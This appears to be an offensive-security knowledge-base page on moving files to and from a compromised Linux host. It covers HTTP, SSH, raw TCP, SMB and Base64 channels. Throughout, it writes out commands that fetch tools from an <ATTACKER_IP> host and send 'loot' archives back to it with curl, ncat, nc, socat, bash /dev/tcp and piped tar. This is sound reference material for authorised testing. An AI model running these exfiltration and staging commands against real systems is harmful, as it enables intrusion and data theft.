Knowledge tree
Offensive Security
Shells
File Transfer
Web Applications
On this page
- Quick reference
- HTTP
- Attacker setup
- Download
- Resuming an interrupted download
- HTTP upload
- Attacker setup with uploadserver
- Upload with curl
- SSH and SFTP
- scp
- SFTP
- rsync over SSH
- Streaming through SSH
- Raw TCP
- Ncat
- nc on a constrained target
- socat
- Bash /dev/tcp
- Existing shell handler
- pwncat-cs
- SMB
- Attacker setup
- Download with smbclient
- Upload with smbclient
- Text-only channels
- Base64
- Hex with xxd
- Packaging and streaming directories
- Verification and troubleshooting
- Hashes
- File type and permissions
- Common failures
- References
Linux File Transfers
On Linux, file transfer is usually a question of what the current shell can execute, which direction the target can reach, and whether an existing session already gives you a transport. A host with curl or wget may only need HTTP. A system with SSH can use scp, SFTP, rsync, or a raw SSH stream. A restricted reverse shell may leave only nc, Bash redirections, Base64, or the file-transfer features of the shell handler itself.
In this Note, download means attacker → Linux and upload means Linux → attacker unless a tool explicitly uses different terminology.
Quick reference
| Situation | Methods to try |
|---|---|
| HTTP(S) reachable from the target | curl, wget, Python, BusyBox wget |
| HTTP upload endpoint available | curl multipart POST or HTTP PUT |
| SSH credentials/session available | scp, SFTP, rsync, SSH streams |
| Only a basic outbound TCP connection works | Ncat / nc, socat, Bash /dev/tcp |
| Current shell is managed by pwncat-cs | upload / download |
SMB reachable and smbclient exists | smbclient against a temporary share |
| Text-only channel | Base64, optionally hex |
| Directory or many files | tar, optionally streamed directly |
| Large or unstable transfer | curl -C -, wget -c, SFTP reget / reput, rsync -P |
The first useful check is the environment you already have:
id
pwd
umask
ps -p $$ -o comm=
command -v curl
command -v wget
command -v python3
command -v python
command -v busybox
command -v nc
command -v ncat
command -v socat
command -v ssh
command -v scp
command -v sftp
command -v rsync
command -v smbclient
command -v base64
command -v xxd
command -v tar
command -v sha256sum
$SHELL describes the user’s configured login shell and does not necessarily identify the shell behind the current reverse shell. ps -p $$ -o comm= is usually more useful when shell-specific syntax matters.
A writable directory is also contextual. /tmp is common, but do not assume that every target allows the current identity to write there or execute from it.
test -w /tmp && echo "/tmp is writable"
df -h /tmp 2>/dev/null
HTTP
HTTP is often the shortest path when the Linux host can initiate a connection to the operator machine.
Attacker setup
Python provides a simple read-only file server:
python3 -m http.server 8000 --directory /opt/tools
Files under /opt/tools are then reachable at:
http://<ATTACKER_IP>:8000/
The server is convenient for temporary assessment infrastructure. Expose only the directory you intend to serve.
Download
Equivalent target-side options can be grouped by what is installed.
curl -fL \
http://<ATTACKER_IP>:8000/tool \
-o /tmp/toolwget \
http://<ATTACKER_IP>:8000/tool \
-O /tmp/toolpython3 -c "import urllib.request; urllib.request.urlretrieve('http://<ATTACKER_IP>:8000/tool', '/tmp/tool')"busybox wget \
-O /tmp/tool \
http://<ATTACKER_IP>:8000/toolcurl -f makes HTTP 4xx/5xx responses fail instead of silently saving an error page as the intended binary, and -L follows redirects.
The BusyBox command is only a valid fallback when that build includes the wget applet and supports the options shown. BusyBox is compiled as a selectable set of applets, so inspect the actual target instead of assuming a full GNU-like toolset:
busybox --list 2>/dev/null
busybox wget --help 2>&1 | head
If the downloaded file is meant to be executed, transfer and execution are separate concerns:
chmod +x /tmp/tool
file /tmp/tool
Resuming an interrupted download
curl can derive the resume offset from the existing output file:
curl -fL -C - \
http://<ATTACKER_IP>:8000/large.tar.gz \
-o /tmp/large.tar.gz
Wget resumes a file left by an earlier invocation with -c:
cd /tmp
wget -c http://<ATTACKER_IP>:8000/large.tar.gz
Both methods depend on the HTTP server supporting range requests for a real HTTP resume. Verify the resulting file rather than assuming that a partial transfer was continued correctly.
For Wget, avoid treating -O as a simple rename option when resuming. -O behaves like output redirection and truncates the selected output file when the transfer starts; using the URL-derived local filename with -c keeps the continuation semantics unambiguous.
HTTP upload
A plain python3 -m http.server serves files but is not a general upload receiver. The target needs an endpoint whose method and body format match the client command.
Attacker setup with uploadserver
uploadserver extends Python’s simple server with an upload endpoint:
python3 -m pip install --user uploadserver
python3 -m uploadserver 8000 --directory ./loot
The multipart upload endpoint is:
http://<ATTACKER_IP>:8000/upload
Upload with curl
curl -f \
-X POST \
-F 'files=@/tmp/loot.tar.gz' \
http://<ATTACKER_IP>:8000/upload
The server renames a duplicate filename by default rather than replacing the existing file. Use --allow-replace on the receiver only when overwriting is intentional.
curl can also upload a file with HTTP PUT:
curl -f \
-T /tmp/loot.tar.gz \
http://<ATTACKER_IP>:8000/loot.tar.gz
With an HTTP(S) URL, -T / --upload-file uses PUT. This works only when the receiving server explicitly accepts PUT at that path; uploadserver’s /upload example instead expects multipart POST.
SSH and SFTP
If you already have working SSH authentication, use it before creating another service. SSH gives several transfer options with authentication and encryption already solved.
scp
From the operator machine, upload to the Linux host:
scp ./tool user@<TARGET>:/tmp/tool
Download from the Linux host:
scp user@<TARGET>:/tmp/loot.tar.gz ./loot.tar.gz
For a non-default SSH port:
scp -P 2222 ./tool user@<TARGET>:/tmp/tool
Modern OpenSSH scp uses SFTP for transfers by default. If SSH login works but scp fails against an older or unusual server that does not provide a usable SFTP subsystem, the legacy SCP protocol can be selected explicitly:
scp -O ./tool user@<TARGET>:/tmp/tool
-O is a compatibility fallback, not a generally better transfer mode.
SFTP
When the operator connects to the target with SFTP:
sftp user@<TARGET>
the useful commands are:
put ./tool /tmp/tool
get /tmp/loot.tar.gz ./loot.tar.gz
For a non-default port:
sftp -P 2222 user@<TARGET>
SFTP also provides explicit resume operations:
reput ./large.tar.gz /tmp/large.tar.gz
reget /tmp/large.tar.gz ./large.tar.gz
Resumption assumes that the existing partial copy is the beginning of the same source file. If either side changed, restart the transfer and verify the result.
rsync over SSH
When rsync is available on both sides, it is useful for directories and interrupted transfers.
Upload:
rsync -avP \
-e 'ssh -p 2222' \
./tools/ \
user@<TARGET>:/tmp/tools/
Download:
rsync -avP \
-e 'ssh -p 2222' \
user@<TARGET>:/tmp/loot/ \
./loot/
-P is shorthand for --partial --progress: interrupted partial files are retained so a later run can reuse them.
For a single file where preserving archive metadata is unnecessary, a smaller option set is also fine:
rsync -P ./large.tar.gz user@<TARGET>:/tmp/large.tar.gz
Streaming through SSH
An SSH session can move arbitrary bytes without relying on scp, SFTP, or rsync.
Upload:
ssh user@<TARGET> 'cat > /tmp/tool' < ./tool
Download:
ssh user@<TARGET> 'cat /tmp/loot.tar.gz' > ./loot.tar.gz
This is useful when the SSH transport works but a file-transfer subsystem does not.
A directory can be streamed without first creating an archive on disk:
tar czf - -C ./tools . \
| ssh user@<TARGET> 'mkdir -p /tmp/tools && tar xzf - -C /tmp/tools'
The reverse direction works the same way:
ssh user@<TARGET> \
'tar czf - -C /var/tmp evidence' \
> evidence.tar.gz
Raw TCP
A raw TCP stream is useful when higher-level clients are missing and the target can reach a listening operator port. It provides no authentication or encryption by itself.
Ncat
Ncat has explicit one-way modes that make file-transfer EOF behavior predictable.
Target → attacker:
Attacker:
ncat -l 9001 --recv-only > loot.tar.gz
Target:
ncat --send-only <ATTACKER_IP> 9001 < /tmp/loot.tar.gz
Attacker → target:
Attacker:
ncat -l 9001 --send-only < tool
Target:
ncat --recv-only <ATTACKER_IP> 9001 > /tmp/tool
--send-only closes the connection when input reaches EOF, which avoids a common one-way transfer hanging while each side waits for the other.
nc on a constrained target
nc is often present when Ncat is not. The connect-side form is widely portable:
Upload from target:
nc <ATTACKER_IP> 9001 < /tmp/loot.tar.gz
with Ncat receiving on the attacker:
ncat -l 9001 --recv-only > loot.tar.gz
Some nc implementations keep the socket open after standard input reaches EOF. In that case the bytes may already have been sent while one or both processes continue waiting. OpenBSD netcat provides -N to shut down the network socket after EOF and netcat-traditional commonly provides -q 0, but those switches are implementation-specific. Check nc -h before relying on either.
Download to target:
nc <ATTACKER_IP> 9001 > /tmp/tool
with Ncat sending on the attacker:
ncat -l 9001 --send-only < tool
socat
socat is another binary-safe one-way option.
Target → attacker:
Attacker:
socat -u TCP-LISTEN:9001,reuseaddr CREATE:loot.tar.gz
Target:
socat -u FILE:/tmp/loot.tar.gz TCP:<ATTACKER_IP>:9001
Attacker → target:
Attacker:
socat -u FILE:tool TCP-LISTEN:9001,reuseaddr
Target:
socat -u TCP:<ATTACKER_IP>:9001 CREATE:/tmp/tool
The -u switch makes the connection unidirectional from the first address to the second.
Bash /dev/tcp
When Bash is present, its redirection handling can open a TCP socket without a separate networking utility.
Download from attacker:
Attacker:
ncat -l 9001 --send-only < tool
Target:
bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'
Upload to attacker:
Attacker:
ncat -l 9001 --recv-only > loot.tar.gz
Target:
bash -c 'cat /tmp/loot.tar.gz > /dev/tcp/<ATTACKER_IP>/9001'
Using bash -c is deliberate. A reverse shell running as /bin/sh does not imply Bash semantics.
What /dev/tcp actually is
/dev/tcp/<host>/<port> is easy to misread as a Linux device or filesystem path. In Bash it is special redirection syntax: when that pathname is used in a redirection, Bash attempts to open a TCP socket for the host and port.
That distinction explains a common failure mode:
/bin/sh: cannot create /dev/tcp/10.10.10.10/9001: Directory nonexistent
The shell may be dash, BusyBox sh, or another /bin/sh implementation that does not implement Bash’s special redirections. In that case there is normally no real /dev/tcp directory for the kernel to open.
If Bash exists, invoke it explicitly:
command -v bash
bash -c 'cat < /dev/tcp/<ATTACKER_IP>/9001 > /tmp/tool'
Bash itself can also be built without its network-redirection feature, although distribution builds commonly enable it. A failure here therefore says something about the shell capability, not necessarily about network reachability.
Existing shell handler
If the reverse shell is already managed by a tool that provides file transfer, reusing the current channel avoids opening another service or requiring additional target connectivity.
pwncat-cs
At the local pwncat prompt, upload:
upload ./tool /tmp/tool
Download:
download /tmp/loot.tar.gz ./loot.tar.gz
pwncat transfers the data over the same shell connection and locates usable readers or writers on the remote host. These are pwncat commands, not commands to type into the remote shell.
The local working directory used by upload/download can be checked or changed with:
lpwd
lcd /path/to/engagement
SMB
A Linux host can also use an SMB share when TCP/445 is reachable and smbclient is available.
Attacker setup
Anonymous temporary share:
sudo impacket-smbserver share . -smb2support
If guest access does not work, expose the share with credentials instead:
sudo impacket-smbserver share . -smb2support \
-username transfer \
-password 'TransferPass1!'
Download with smbclient
Anonymous:
smbclient //<ATTACKER_IP>/share \
-N \
-c 'get tool /tmp/tool'
Authenticated:
smbclient //<ATTACKER_IP>/share -U transfer
Then use:
get tool /tmp/tool
Upload with smbclient
Anonymous:
smbclient //<ATTACKER_IP>/share \
-N \
-c 'put /tmp/loot.tar.gz loot.tar.gz'
Authenticated interactive session:
put /tmp/loot.tar.gz loot.tar.gz
smbclient transfers files in binary mode. Supplying the password interactively avoids embedding it in the shell history and process command line.
Text-only channels
When the only reliable path is terminal text, binary content can be represented as text and reconstructed on the other side.
Base64
Encode a small file on a GNU/Linux host as one line:
base64 -w 0 /tmp/loot.bin
If that implementation does not support -w, remove line breaks explicitly:
base64 /tmp/loot.bin | tr -d '\n'
Reconstruct the file:
printf '%s' '<BASE64_DATA>' | base64 -d > /tmp/tool
For a multiline paste, a quoted here-document avoids shell interpolation:
base64 -d > /tmp/tool <<'EOF'
<BASE64_DATA>
EOF
Base64 is binary-safe but increases the data size by roughly one third before line wrapping or transport overhead. It is therefore a useful fallback for small files, not a good default for a large archive.
Hex with xxd
If xxd is available:
xxd -p /tmp/loot.bin | tr -d '\n'
Reconstruct:
printf '%s' '<HEX_DATA>' | xxd -r -p > /tmp/tool
Hex is simple to inspect but doubles the binary size. xxd is also less universally installed than base64.
Packaging and streaming directories
tar is useful when the transfer contains multiple files or a directory tree.
Create an archive on the Linux target:
tar czf /tmp/loot.tar.gz \
-C /var/tmp \
evidence
Inspect it before transfer:
tar tzf /tmp/loot.tar.gz
When disk space is limited, stream the archive directly instead of creating /tmp/loot.tar.gz.
Attacker:
ncat -l 9001 --recv-only > loot.tar.gz
Target:
tar czf - -C /var/tmp evidence \
| ncat --send-only <ATTACKER_IP> 9001
The same principle applies over SSH, as shown earlier. tar converts a directory tree into a byte stream; the transport can then be HTTP, SSH, Ncat, nc, or another binary-safe channel.
Verification and troubleshooting
A transfer is not complete merely because the client returned to the prompt. Check the result when integrity matters.
Hashes
Before transfer:
sha256sum tool
After transfer:
sha256sum /tmp/tool
Matching hashes confirm that both sides contain the same bytes.
File type and permissions
ls -lh /tmp/tool
file /tmp/tool
For an executable:
chmod +x /tmp/tool
A successful transfer followed by Permission denied or Exec format error is not automatically a transfer failure. Check the filesystem mount and binary architecture:
findmnt -no TARGET,OPTIONS /tmp 2>/dev/null
file /tmp/tool
uname -m
A noexec mount or an architecture mismatch can prevent execution even when the file arrived intact.
Common failures
| Symptom | Check |
|---|---|
curl saves HTML instead of the expected file | Use -f; verify URL and receiver response |
wget -c produces unexpected content | Confirm the partial file belongs to the same remote object and the server supports ranges |
| HTTP upload returns 405/400 | Confirm POST vs PUT and the expected body format |
SSH login works but scp fails | Check SFTP availability; use scp -O only for legacy compatibility or use an SSH stream |
/dev/tcp/... reports a missing directory | Confirm that Bash is actually executing the redirection |
nc listener flags fail | Identify the netcat implementation; use Ncat on the operator side when possible |
| Raw TCP transfer never exits | Use Ncat --send-only / --recv-only or explicitly manage EOF |
| Hashes differ | Treat the transfer as partial/corrupt and repeat it |
| File transferred but will not execute | Check mode bits, noexec, architecture, and interpreter availability |
Write fails in /tmp or another path | Check the current identity, permissions, free space, and choose another writable destination |
References
- curl man page
- GNU Wget manual — Download Options
- OpenSSH scp manual
- OpenSSH sftp manual
- Python
http.server - Densaugeo uploadserver
- Bash Reference Manual — Redirections
- Ncat Users’ Guide — File Transfer
- rsync manual
- Samba
smbclientmanual - pwncat-cs — Upload
- pwncat-cs — Download
- GNU Coreutils — base64
- socat manual